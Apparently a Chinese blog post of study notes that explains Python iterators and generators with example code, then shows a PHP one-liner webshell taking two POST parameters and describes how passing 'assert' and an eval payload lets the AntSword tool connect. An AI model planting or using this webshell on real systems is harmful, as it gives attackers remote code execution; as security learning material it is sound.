Python迭代器,生成器;assert利用蚁剑登录<?php$_POST[‘1‘]($_POST[‘2‘]);

目录

Python: 

迭代器:

概念:

举例: 

生成器:

举例:

assert利用蚁剑登录:

方法一:

 原理:

方法二:

抓包:

实质是这样的


Python: 

迭代器:

概念:

实现了迭代协议的对象。

__iter__: 返回对象本身,这个意义在于让调用它的人知道他是一个迭代器
__next__: 返回迭代器的下一个元素,这个是实现迭代真正的过程
          如果到迭代器结尾,怎么去知道迭代器结束了,要抛出一个异常:StopIteration
          这个用意:for循环的,判断循环结束依靠是否捕获StopIteration异常来判断,如果有这个异常,循环结束,如果没有,循环继续执行

举例: 

class MyIterator:
    def __init__(self, stop):
        self.start = -1
        self.stop = stop

    def __iter__(self):
        return self

    def __getitem__(self, item):
        return self.start + item + 1

    def __next__(self):
        self.start = self.start + 1
        if self.start < self.stop:
            return self.start
        else:
            raise StopIteration

data = MyIterator(10)
# print(data[0])
for i in data:
    print(i)
print(next(data))
print(next(data))
print(next(data))
print(next(data))

//如果要用下标去访问迭代器的话,要实现__getitem__方法
//next(iterator): 本质就是调用__next__

生成器:

yield表达式:yield expression_list(表达式列表)

生成器函数: 定义了一个函数,且函数有使用yield

生成器:执行生成器函数的时候,返回的就是生成器

生成器怎么去执行呢?通过调用某一种方法:send和next

send是生成器内部的方法: 生成器对象.send

next方法:是内置的方法, next(生成器对象)

当你使用某一种方法去启动生成器的时候,执行到什么地方挂起?

是执行yield表达式后挂起, 通过调用某一种方法,第一次启动的时候调用方法注意事项

如果调用send: 生成器对象.send(None)

如果调用next: next(生成器对象)

那么挂起之后,怎么去继续执行?调用某一种方法继续执行

如果要调用send: 生成器对象.send(value),这块儿的value没有空值的限制

如果要调用next: next(对象生成器)

如果没有找到yield语句,抛出异常:StopIteration

生成器就是一个迭代器,意味着他是有结束的时候,结束时候就会抛出StopIteration异常

举例:

'''
列表生成器
'''
# l = []
# for x in range(1,11):
#     l.append(x * x)
# print(l)
aa = [i * i for i in range(1, 5)]
print(aa)

 结果一次性全部输出

 ‘【】’和‘()’的差别----------------------------------------------------------------------------------------------------

l = (x * x for x in range(10))
print(next(l))
print(next(l))
print(next(l))

 结果一次性只输出一个,调用一次next()才会输出下一个

assert利用蚁剑登录:

方法一:

 原理:

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。 

可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

assert在php中被认为是一个函数。

方法二:

抓包:

实质是这样的

数字1我们post数据为assert

数字2我们post数据为eval($_POST['nanjing'])

其本质还是assert(eval()),所以可以执行

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

戲子 鬧京城°ぃ

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值